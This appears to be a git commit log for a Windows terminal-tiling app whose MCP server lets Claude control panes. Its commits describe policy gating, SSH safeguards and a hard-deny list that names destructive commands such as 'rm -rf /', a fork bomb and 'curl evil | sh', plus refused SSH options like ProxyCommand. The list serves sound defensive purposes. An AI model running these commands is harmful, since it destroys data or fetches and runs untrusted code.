Commit graph

85 commits

Author SHA1 Message Date
4bf55782da CLAUDE.md: React 18, not Svelte 5
Stack line was stale since the React migration in commit 774b863 (0.2.0).
Also updates the `pnpm check` parenthetical from svelte-check to
tsc --noEmit, which is what the script actually runs now.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 16:13:32 +01:00
f6431891bc gitignore: cargo-test.log
PowerShell `cargo test ... *> ..\cargo-test.log` artifact from manual
test runs on the Windows host. Same shape as the existing dev.log /
screen*.png scratch entries.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 16:06:08 +01:00
e872044310 Fix hard-deny enforcement gaps surfaced by PR-4 test re-enable
Re-enabling the policy test module in PR-4 (the policy_with compile fix)
exposed 16 pre-existing failures: 14 real bugs, 2 wrong assertions.

is_hard_denied is now two-pass — whole-input first, then per-subcommand.
The subcommand splitter was tearing apart patterns whose meaning needs
their | / & to stay intact: fork bomb (:|:&) and curl-piped-to-shell.
Result was that 9 of the 10 advertised hard-deny rules quietly didn't
enforce against their own canonical examples.

Regex fixes:
- Rule 1/2 flag class [a-z] → [a-zA-Z]: catches `rm -Rf /`.
- Rule 1/2 trailing anchor accepts # so a trailing comment can't smuggle
  the danger past detection.
- Rule 8 shell alternation gains bare `sh` — `curl evil | sh` (most
  common form) was not previously caught because `ba?sh` required `b`.
- Rule 9 anchor tightened: `/` must be followed by a path boundary,
  end-of-input, or shell operator. `chmod -R 777 /tmp` no longer false-
  positives (still destructive, but a deliberate user scope choice).

Two test assertions flipped to is_none(): hard_deny_quoted_pattern_not_
matched and hard_deny_git_grep_contains_pattern. The originals expected
false-positives on echo'd / grep'd danger strings. The post-fix behaviour
of NOT flagging these is correct UX: searching for or printing a danger
string is not the same as invoking it.

cargo test --lib: 118 passed; 0 failed.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 16:05:31 +01:00
9ebb3e4d2e MCP v2 PR-4: add_host + delete_host + extraArgs sanitiser + third SSH safeguard
Final v2 PR. All 11 planned write tools live. add_host/delete_host let
Claude mutate the saved-hosts list; both gated by a new allowAddHost
switch (default off) — symmetric with the allowOpenSsh gate from PR-3.5.

add_host's extraArgs are sanitised against CVE-2023-51385-class
local-RCE primitives: ProxyCommand, LocalCommand, KnownHostsCommand,
PermitLocalCommand=yes are refused server-side. Recognises both -o KEY=VAL
and -oKEY=VAL, case-insensitive on the key. The manual host manager UI
stays unrestricted (user has full agency over their own hosts).

Also fixes a pre-existing compile bug: mcp_policy.rs's policy_with test
helper was missing the ssh_safeguards field added in PR-3.5, silently
breaking the entire policy test module since then. Re-enabling those
tests is the prereq for the hard-deny rework that follows in the next
commit.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 16:04:14 +01:00
71f330e934 Session log: MCP v2 PR-3 + PR-3.5 + polish bundle
Document the spawn-completion oneshot chain, the rate limiter,
SSH-extra confirm banner, two-switch SSH safeguards, the
spawn_pane SSH-schema split, instructions refresh, and the host
manager Connect button. Plus the four cross-IPC integration bugs
(Emitter trait, McpError 'static, StrictMode listen() race,
rename_all camelCase) and the ErrorBoundary that caught the last
one. Open follow-ups in priority order.
2026-05-26 15:21:40 +01:00
6da7523993 MCP polish + SSH host manager Connect button
Three small things bundled from PR-3 verification:

1. Split SSH out of mcp.spawn_pane schema. New McpSpawnSpec enum
   (Wsl | Powershell only) used for SpawnPaneArgs, so Claude's
   spawn_pane tool description and JSON schema show only the local
   shells. SSH must go through connect_host. The internal
   pty::SpawnSpec is unchanged — the frontend's manual spawn path
   via XtermPane still supports all three variants. Previously
   spawn_pane(kind=ssh) was a half-broken path that required `host`
   as a separate mandatory field even when hostId was given;
   serde-rejected the natural "spawn to a saved host" call shape.

2. Refresh the MCP server's `with_instructions` text and the
   module-level header comment. Both still claimed "read-only v1"
   long after the v2 write surface landed, which was making Claude
   refuse to attempt tools on first contact ("the server has
   flagged itself as read-only..."). The instructions now describe
   the actual tool set, the SSH-via-connect_host convention, and
   the policy/safeguards gates so Claude doesn't have to infer.

3. Add a "Connect" button to the SSH hosts manager. Previously
   the dialog only had Edit — users (rightly) expected clicking a
   saved host to spawn an SSH pane to it. New onConnect callback
   does the splitLeaf + smart-orient dance and closes the manager.
   Buttons wrapped in a flex container so the row's
   space-between layout doesn't strand the new button mid-row.
2026-05-26 15:20:22 +01:00
bf2810a433 MCP v2 PR-3: write_pane, spawn_pane, connect_host + SSH safeguards
Three of the highest-power v2 tools, plus a defense-in-depth pass
on SSH-specific risk.

write_pane sends keystrokes (or any bytes) to a pane's PTY. The
policy engine matches against the text content directly so rules
like write_pane(npm test*) match by what would run, and the
compiled-in hard-deny catches rm -rf /, fork bombs, etc. regardless
of policy. Per-pane token-bucket rate limiter (30 calls / 10s,
3/sec refill) prevents a runaway loop from spamming the user with
confirm modals or burning audit-log capacity. The frontend handler
truncates the text in modal/audit summaries to ~60 chars + escapes
control characters so secrets pasted into write_pane don't echo
verbatim into the UI.

spawn_pane mirrors the existing SpawnSpec enum (WSL distro,
PowerShell, SSH) as the tool schema. New splitLeafWith helper
inserts a caller-built LeafNode (with a pre-generated id) so the
handler can await waitForPaneRegistration on that exact leaf before
replying with the resulting {leafId, paneId}. 15s spawn timeout
covers cold-start WSL distros; 30s for connect_host covers SSH
handshake + auth. Outer dispatch timeout bumped 30s → 60s. SSH
spawns without a saved hostId are refused — LeafNode only persists
sshHostId, no inline params, so use connect_host.

connect_host is a thin wrapper that looks up a saved SSH host by
id and routes through the same spawn machinery.

McpConfirm.tsx gains an optional ssh context — when the call
targets or spawns an SSH pane, a red warning banner renders
explaining that pattern matching is best-effort on the bytes we
send (remote shell expands aliases/subshells before executing).
buildConfirmSummary became buildConfirmInfo and returns the SSH
context alongside the summary string.

PR-3.5 — SSH safeguards. Two new switches in the Policy tab,
both off by default, both gated by mcp_policy::SshSafeguards:

  allowOpenSsh: when off, connect_host and spawn_pane(kind=ssh)
    refuse server-side with a clear "ssh-disabled" message pointing
    at the Policy tab. User must open SSH manually via the titlebar
    🔑 picker and toggle 🤖 on to grant Claude access.

  autoAllowSpawnedSsh: when off, an SSH pane Claude spawns starts
    with mcpAllow=false. User must explicitly toggle 🤖 before
    Claude can read scrollback or send keystrokes. The second switch
    is disabled in the UI when the first is off.

The safe-by-default design means a fresh install gives Claude no
ability to autonomously touch SSH — full safety with one click per
level to enable when consciously wanted. Both switches read fresh
per call so policy edits take effect without a server restart.

ErrorBoundary.tsx — last-resort guard against React render
exceptions. Wraps the App root + each MCP panel tab independently
so a bug in one tab doesn't blank the entire app. Shows a small
red error card with the exception message and a "Try again"
button. Caught a serde rename_all bug during PR-3.5 testing where
PolicyTab read policy.sshSafeguards but Rust serialized
ssh_safeguards (snake_case); without the boundary the whole window
went black.

newId() now exported from tree.ts for the splitLeafWith path.
McpPolicy struct gained #[serde(rename_all = "camelCase")] so
sshSafeguards survives the IPC round-trip cleanly; older policy
files without the field still load (serde defaults to safe).
2026-05-26 14:50:06 +01:00
3acad63fb7 Session log: MCP v2 PR-2 (tree-shape writes)
Note the require_visible_leaf factor-out, the non-interactive
data-loss handling for apply_preset, and PresetName as a typed
enum so the tool schema gives Claude autocomplete.
2026-05-26 12:46:19 +01:00
e0ce223985 MCP v2 PR-2: close_pane, swap_panes, promote_pane, apply_preset
Four more tree-shape tools routed through the existing dispatcher
+ confirm modal + audit log. All take leaf_id args (single or pair)
that must be MCP-allowed via the per-pane chip; apply_preset takes
a typed PresetName enum (single, two_columns, three_columns,
two_rows, two_by_two) plus an allow_drops boolean.

apply_preset's data-loss case is handled non-interactively: if the
preset has fewer slots than the current pane count and allow_drops
is not set, the frontend handler throws with a descriptive message
listing the leaf labels that would be killed, so Claude can decide
whether to retry with allow_drops=true rather than the user being
ambushed by a destructive confirm modal.

promote_pane errors with "no perpendicular split above it" when the
parent shares orientation with the grandparent (same condition the
Ctrl+Shift+P shortcut uses to toast a no-op).

Extracted a require_visible_leaf helper on TileService since 4+ of
the v2 tools now do the same mirror-presence + cloned-metadata
check. Same args_repr convention as set_label so policy rules like
"close_pane" (bare tool name) work uniformly.
2026-05-26 12:44:11 +01:00
09019a0ad7 Session log: MCP v2 PR-1 + PR-1b (policy engine + dispatcher)
Document the fan-out approach (3 Sonnet agents + 1 Haiku), the
event/reply RPC pattern, the 10 hard-deny rules and their caveats,
the audit + confirm + Always-Allow UX, and the four integration
bugs worth remembering (Tauri 2 Emitter trait import, McpError
'static strings, React 18 StrictMode listen() race, lifting the
audit subscription out of AuditTab).
2026-05-26 12:29:17 +01:00
26ffe8859a MCP v2 PR-1b: action dispatcher, confirm modal, set_label end-to-end
App.tsx now listens on "mcp://request" and resolves each call:
needsConfirm=true queues a confirm modal (Accept/Reject, or
"Always allow <tool>" which appends the bare tool name to the
policy's allow bucket on the fly); needsConfirm=false runs straight
through. Replies via mcp_action_reply with externally-tagged
Result. The only wired-up tool for now is set_label, which delegates
to the existing ops.setLabel path.

McpConfirm.tsx (new) — themed amber-bordered modal sibling to the
existing overlays. Enter = accept, Esc = reject. Shows tool, the
policy reason that triggered the prompt, a human-readable summary
("Rename pane X → Y"), and an expandable raw-args section.

Audit log: subscription lifted from AuditTab up to App.tsx so events
fired while the panel is closed (or on Config/Policy tab) still land
in the ring. AuditTab becomes presentational; McpPanel forwards
entries + clearAudit + computes the unread badge from a baseline
seen-count.

StrictMode race fix: both new App-level listeners (mcp://audit and
mcp://request) use the cancelled-flag pattern so a late-resolving
listen() Promise after a strict-mode pretend-unmount tears itself
down instead of leaking a second subscription. Previously this
manifested as duplicate audit rows and a need-to-click-twice on
modal buttons.
2026-05-26 12:26:33 +01:00
464c576b79 MCP v2 PR-1: policy engine + audit log + Config/Audit/Policy panel tabs
Foundation for Claude-drives-the-workspace writes. Nothing wired
end-to-end yet (App.tsx dispatcher comes next); this lands the
machinery + UI.

mcp_policy.rs (new) — three-tier allow/ask/deny policy with
deny-first precedence and a compiled-in non-overridable hard-deny
list (10 patterns covering rm -rf /, fork bombs, mkfs on device, dd
to raw disk, /etc/passwd overwrite, curl|sh, chmod -R 777 /, etc.).
Shell-operator-aware glob matcher mirroring Claude Code's Bash(*)
syntax. Restrictive default — empty policy means every non-hard-
denied call falls to Ask. Persisted to mcp-policy.json in
app_config_dir. Includes a PolicyClassifier scaffold (no-op) for a
future v2.1 LLM-classifier hook. 1152 lines incl. ~100 unit + fuzz
tests covering the matchers and lookalike negatives.

mcp.rs — TileService now holds AppHandle + Arc<PendingActions>
(oneshot registry keyed by uuid). New async dispatch_action helper
runs the policy check, emits "mcp://request" for the frontend to
handle, awaits a oneshot reply (30s timeout), then emits "mcp://
audit" with the outcome regardless. set_label tool wired through
this path as the demo for PR-1b's dispatcher.

commands.rs / lib.rs — new Tauri commands mcp_action_reply,
mcp_policy_load, mcp_policy_save; PendingActions registered as
managed state.

McpPanel.tsx — refactored into Config / Audit / Policy tabs.
AuditTab listens on mcp://audit, keeps a 200-entry ring with
ok/denied/failed chips. PolicyTab edits the allow/ask/deny buckets
(stacked vertically — three columns overflowed the panel) and shows
the hard-deny rules read-only at the bottom with "Cannot be
disabled" badges. Themed scrollbar on mcp-body to match xterm panes.

Caveat: set_label calls from Claude will currently time out — the
App.tsx side that listens on mcp://request and replies via
mcp_action_reply lands in PR-1b.

Co-authored by Sonnet (policy engine, backend plumbing, panel UI)
and Haiku (hard-deny fuzz test suite); integration + bug fixes here.
2026-05-26 12:05:31 +01:00
b14b450577 Session log: MCP persistence + Claude Code OAuth bug + mcp-remote shim
Document the five-layer breakage we unwound (WDF block rules, rmcp
host allowlist, our middleware intercepting OAuth probes, Claude Code
ignoring static bearer, mcp-remote --allow-http) and the working
stdio-shim recipe.
2026-05-26 11:06:42 +01:00
799f507c3c MCP: persistent port/token + mcp-remote shim recipe for Claude Code
Port (default 47821) and bearer token now persist to mcp.json with
OS-picked fallback if the port is taken; new Regenerate button in the
panel rotates the token and restarts the running server. rmcp's
DNS-rebinding host allowlist is disabled so WSL gateway IPs can
connect (bearer-auth handles the gatekeeping); the auth middleware
only enforces on /mcp paths so OAuth-discovery clients don't see a
Bearer challenge on /.well-known/* probes.

Claude Code's HTTP-MCP client currently tries OAuth and ignores
static `headers` auth (anthropics/claude-code#17152, #46879), so the
panel + README config snippet now uses `npx mcp-remote` as a stdio
shim that proxies the HTTP endpoint with the bearer baked in.
2026-05-26 11:05:13 +01:00
352aa8c281 Session log: reflow bug fix + titlebar tidy-up; correct stack note
memory.md still said Svelte 5; migration to React 18 happened in
774b863. Also log this session's investigation, fix, and the
follow-up about CLAUDE.md still needing the same update.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-25 22:28:36 +01:00
fa18307fd9 Tidy titlebar: dropdowns for shell + layout, '+' button to spawn
- Collapse the inline distro buttons + PowerShell + 🔑 SSH hosts into
  a single 'Ubuntu ▾' dropdown (WSL distros + PowerShell sections),
  with 🔑 as a separate icon-only button.
- Collapse the 5 preset buttons into a 'layout ▾' dropdown.
- Add a '+' button next to the shell picker that spawns a new pane of
  the picked shell by splitting the active pane (smart orientation:
  splits right if wide, down if tall). Per-pane ⇥/⇣ arrows still
  inherit from parent — only '+' uses the titlebar selection.
- Drop the 🔔 test-toast button.
- Drop overflow:hidden from titlebar + pane toolbar so dropdowns
  aren't clipped; height lock + nowrap still prevent the reflow bug.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-25 22:26:41 +01:00
e46446444e Lock titlebar + pane toolbar height to stop periodic xterm reflow
When the window or a pane was narrow, button text could wrap inside
flex items, growing the toolbar by ~16px. That shrank .pane-wrap →
ResizeObserver fired on every xterm → fit() reflowed text. Idle
detection toggling " · N idle" in the titlebar was enough to flap a
button across its wrap threshold every few seconds.

Lock both bars to fixed heights with white-space:nowrap, flex-shrink:0
on children, and overflow:hidden. Items that don't fit clip silently
instead of wrapping.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-25 22:11:03 +01:00
d667e18c0c Session log: SSH, links, promote, help, MCP v1 2026-05-25 21:43:57 +01:00
112d7dd5b5 Use ReadResourceResult::new — struct is non-exhaustive 2026-05-25 21:34:25 +01:00
83d8932c98 Add MCP server (v1 read-only): toggle, per-pane gate, panel UI 2026-05-25 21:31:49 +01:00
6068522ee3 Add per-leaf mcpAllow flag for MCP visibility gating (default-deny) 2026-05-25 21:22:15 +01:00
b35a5b282d Add help overlay: titlebar ? button, F1 hotkey, shortcuts and tips 2026-05-25 21:04:55 +01:00
3cdd485627 Note help overlay + Claude-MCP server as next TODOs 2026-05-25 21:02:11 +01:00
5085326cb1 Replace drag-promote gesture with Ctrl+Shift+P keyboard shortcut 2026-05-25 20:58:43 +01:00
8e4a358aa8 Make gutters discoverable: bigger hitbox, visible line color, higher z-index 2026-05-25 20:48:50 +01:00
d757117f95 Debug: include gutter orientation + position in drag trace 2026-05-25 20:41:17 +01:00
4816f449d4 Temp debug log: trace gutter-drag promote evaluation 2026-05-25 20:35:48 +01:00
8c7886866c Lower promote-gesture threshold from 75% to 50% of sibling pane 2026-05-25 20:32:49 +01:00
150e5f09cb Promote nested pane to full row/column by dragging gutter past sibling 2026-05-25 20:24:47 +01:00
dbd6c163c3 Lock in keyring-core and windows-native-keyring-store from password feature build 2026-05-25 20:24:41 +01:00
b462f9f3bf Acknowledge SpawnSpec::Ssh host_id in build_command pattern 2026-05-25 20:10:31 +01:00
1c243b3f3f Save SSH passwords in Windows Credential Manager and auto-type at prompt 2026-05-25 20:08:31 +01:00
872fb0e80e Add SSH connections: saved hosts manager and hierarchical shell picker 2026-05-25 19:47:37 +01:00
4e5bc7e081 Scope opener plugin to http/https/mailto so clicks open the browser 2026-05-25 19:47:24 +01:00
a24f7de7df Make URLs in terminal output clickable via xterm web-links + tauri-plugin-opener 2026-05-25 19:13:08 +01:00
234a0b74a1 Add PowerShell as a selectable shell in the distro dropdown 2026-05-25 19:13:03 +01:00
29b15f19c1 Route terminal clipboard through tauri-plugin-clipboard-manager; bump to 0.2.3
navigator.clipboard.readText() triggers WebView2's "Allow clipboard access?"
permission prompt on every paste. The plugin goes through IPC + the OS
clipboard directly, so the prompt never fires.

Wired the Rust plugin, granted clipboard-manager:allow-{read,write}-text in
the capabilities manifest, swapped XtermPane's copy/paste handler to use
the plugin's readText/writeText.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 23:27:43 +01:00
e94d2499d1 Add tauri-plugin-clipboard-manager dependency
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 23:12:52 +01:00
cd9540b106 Add Ctrl+Shift+C / Ctrl+Shift+V copy-paste in terminal panes
Uses attachCustomKeyEventHandler so xterm doesn't first consume Ctrl+V
and inject a raw ^V into the PTY. Paste routes through term.paste() so
broadcasting and bracketed paste continue to work.
2026-05-22 23:10:51 +01:00
aab36afce4 Per-pane and global terminal zoom via keyboard
Each leaf now carries an optional fontSizeOffset, persisted in
workspace.json alongside everything else. Ctrl+= / Ctrl+- / Ctrl+0
adjust the active pane; adding Shift escalates to every pane (the
mirror of the broadcast Shift+Alt convention, with shift alone since
the keys are otherwise unused). Bindings match on e.code so layouts
that don't have "=" / "-" / "0" in the same spot still work.

XtermPane gained a fontSize prop. A secondary effect reacts to changes:
set term.options.fontSize, fit() to recompute cols/rows for the new
cell size, refresh(), then resizePane so bash redraws the prompt at
the right width. No remount, so PTY + scrollback survive zoom changes.

The new tree helpers (resolveFontSize / adjustFontSize /
adjustAllFontSizes) are metadata-only — they don't swap leaf ids, so
nothing respawns. reshapeToPreset also carries the offset across when
splicing existing leaves into a new layout. 12 new vitest cases pin
those invariants plus the clamp and reset-to-default behaviour.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 22:48:35 +01:00
8f9667b218 README: refresh shortcuts table and add post-rewrite interactions
Lead the "Using it" section with the keyboard shortcuts table, then
break the remaining behaviour into mouse/toolbar and broadcast/idle/
presets subsections. Documents drag-to-swap, the 180px resize minimum,
the home-cwd default, the new idle border + titlebar badge (replacing
the old toasts blurb), and the splice-preserving preset behaviour.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 22:39:54 +01:00
661a76951b Pick up Cargo.lock 0.2.2 bump from tauri build 2026-05-22 22:28:18 +01:00
1720b60499 Bump version to 0.2.2
Changes since 0.2.1:
- Keyboard shortcuts: Ctrl+K palette + Ctrl+Shift+E/O/W for
  split-right / split-down / close, Ctrl+Shift+B per-pane and
  Ctrl+Shift+Alt+B global broadcast, Ctrl+Shift+Arrow for spatial
  pane navigation
- New panes default to WSL home (~) instead of inherited Windows cwd
- Resize artifacts: rAF-throttle gutter drag, debounce PTY resize,
  skip resizePane when cols/rows haven't actually changed (kills the
  idle-flap loop that surfaced with many panes)
- Minimum pane size (180px) enforced on both split and gutter drag
- 2px gap around each leaf so per-pane borders read as distinct
  rectangles instead of a continuous grid

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 22:24:57 +01:00
45d0f4cd8b Add a 2px gap around each leaf slot so per-pane borders don't merge
With panes packed edge-to-edge, adjacent .leaf elements' 2px borders
touched directly. When all (or many) panes went idle, every pane's
red border combined with its neighbour's to form continuous red lines
across the whole window — looking like a single grid pattern, not
distinct per-pane outlines.

Fix: padding: 2px on .leaf-slot (box-sizing: border-box). Each .leaf
ends up inset 2px on every side, so adjacent panes have a 4px dark
gap between them and their borders read as separate rectangles.
Affects all borders equally (idle red, active blue, broadcasting
orange) and gives the layout a cleaner separation overall.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 22:18:32 +01:00
9827b01688 Skip PTY resize when cols/rows didn't actually change
Most ResizeObserver firings in XtermPane don't change xterm's cell
grid — just shuffle a few pixels around. We were still calling
resizePane() (which SIGWINCHs bash, which redraws its prompt, which
emits data, which resets the idle timer). With many panes, this
created a self-reinforcing flap loop where the idle indicator would
toggle every few seconds.

Now: track the last cols/rows we actually sent to the backend in the
mount effect's closure. If a debounced fit() ends up at the same
grid dimensions, skip the resizePane call entirely. No SIGWINCH, no
prompt redraw, no data event, no idle flap.

Zero functional change for actual resizes; only suppresses redundant
PTY syscalls.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 22:12:06 +01:00
daf0d4e88a Enforce minimum pane size (180px) on split and gutter drag
Spamming the ⇥/⇣ split buttons (or their Ctrl+Shift+E/O shortcuts)
used to subdivide panes indefinitely, leaving toolbar-only slivers
that were unusable.

- tree.ts: MIN_PANE_PX = 180 constant.
- App.tsx: the `split` orchestration callback now computes the active
  pane's pixel dimensions from its layout slot + the container rect,
  and refuses to split if either child would fall below MIN_PANE_PX.
  Surfaces the refusal via a `notify(...)` toast so the user knows
  why nothing happened.
- Gutter.tsx: pointermove clamps the new ratio so the smaller child
  stays at least MIN_PANE_PX wide/tall. Falls back to the old 0.05
  floor only if the parent is so small that two min-sized panes
  can't both fit (degraded but functional).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 22:01:41 +01:00
a5209e08ae Debounce PTY resize during drag to stop SIGWINCH-spam corrupting prompts
What the user saw: dragging a gutter filled the affected panes with
many overlapping bash prompts, some corrupted mid-print
(megaproxy@DESKTOP-megaproxy@DESKTOP-SSAQG5 etc).

Root cause: every resizePane() call sends SIGWINCH to the shell, which
makes bash redraw its prompt. The previous fix coalesced the local
xterm fit() into one per rAF, but still fired resizePane on every
rAF — 60+ SIGWINCHes per second during a drag, faster than bash can
finish one prompt redraw before the next interrupts it.

Fix: separate the two concerns. fit() + term.refresh() still run
every rAF (the visual must stay smooth). But resizePane() is
debounced to fire 150 ms after the LAST rAF — i.e. only when you
stop dragging — so bash gets one clean SIGWINCH at the final size
and produces a single tidy prompt redraw.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 21:53:34 +01:00
7d1f1f4b9a Default new panes to WSL home (~) instead of inherited Windows cwd
Previously: spawn_wsl(cwd=None) passed no --cd to wsl.exe, so each
pane inherited the launcher's cwd — which is typically
C:\Users\<user>, surfacing inside WSL as /mnt/c/Users/<user>. Annoying
because the first thing you do in a new pane is `cd ~`.

Now: if the caller didn't specify a cwd, we explicitly pass `--cd ~`
so the pane lands in the WSL user's home. Existing panes keep their
saved cwd from the workspace.json.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 21:43:38 +01:00
94bdb884ad Fix resize artifacts: rAF-throttle drag + force xterm repaint
Two related fixes for stale glyphs / visual artifacts while dragging
a gutter:

- Gutter.tsx: pointermove now writes the new ratio into a ref and
  schedules a single requestAnimationFrame flush per frame. Without
  this, setTree fires 60+ times per second during a drag and React
  + ResizeObserver + xterm's DOM renderer get out of sync. The
  pointerup handler flushes any pending ratio so the final position
  always lands.

- XtermPane.tsx: the ResizeObserver callback now also rAF-coalesces
  AND calls term.refresh(0, term.rows - 1) after fit.fit(). xterm's
  DOM renderer doesn't reliably repaint freed-up rows after a
  shrink, so the explicit refresh wipes any stale glyphs.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 21:40:16 +01:00
a4cd82440b Add keyboard shortcuts (Ctrl+Shift chord style)
| Ctrl+K           | palette                                |
| Ctrl+Shift+E     | split active pane right                |
| Ctrl+Shift+O     | split active pane down                 |
| Ctrl+Shift+W     | close active pane                      |
| Ctrl+Shift+B     | toggle broadcast on active             |
| Ctrl+Shift+Alt+B | toggle broadcast on ALL panes          |
| Ctrl+Shift+Arrow | focus neighbour pane in that direction |

The handler attaches at capture phase on window so it wins against
xterm.js. It bails when a non-terminal <input>/<textarea> is focused
so label edits and the palette input keep working normally.

Spatial neighbour-finding lives in tree.ts as findNeighborInDirection
— picks the leaf whose centre is most aligned in the perpendicular
axis, breaking ties by primary-axis distance.

Tooltips on toolbar/titlebar buttons now mention their shortcuts;
README has a key-binding table.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 21:32:51 +01:00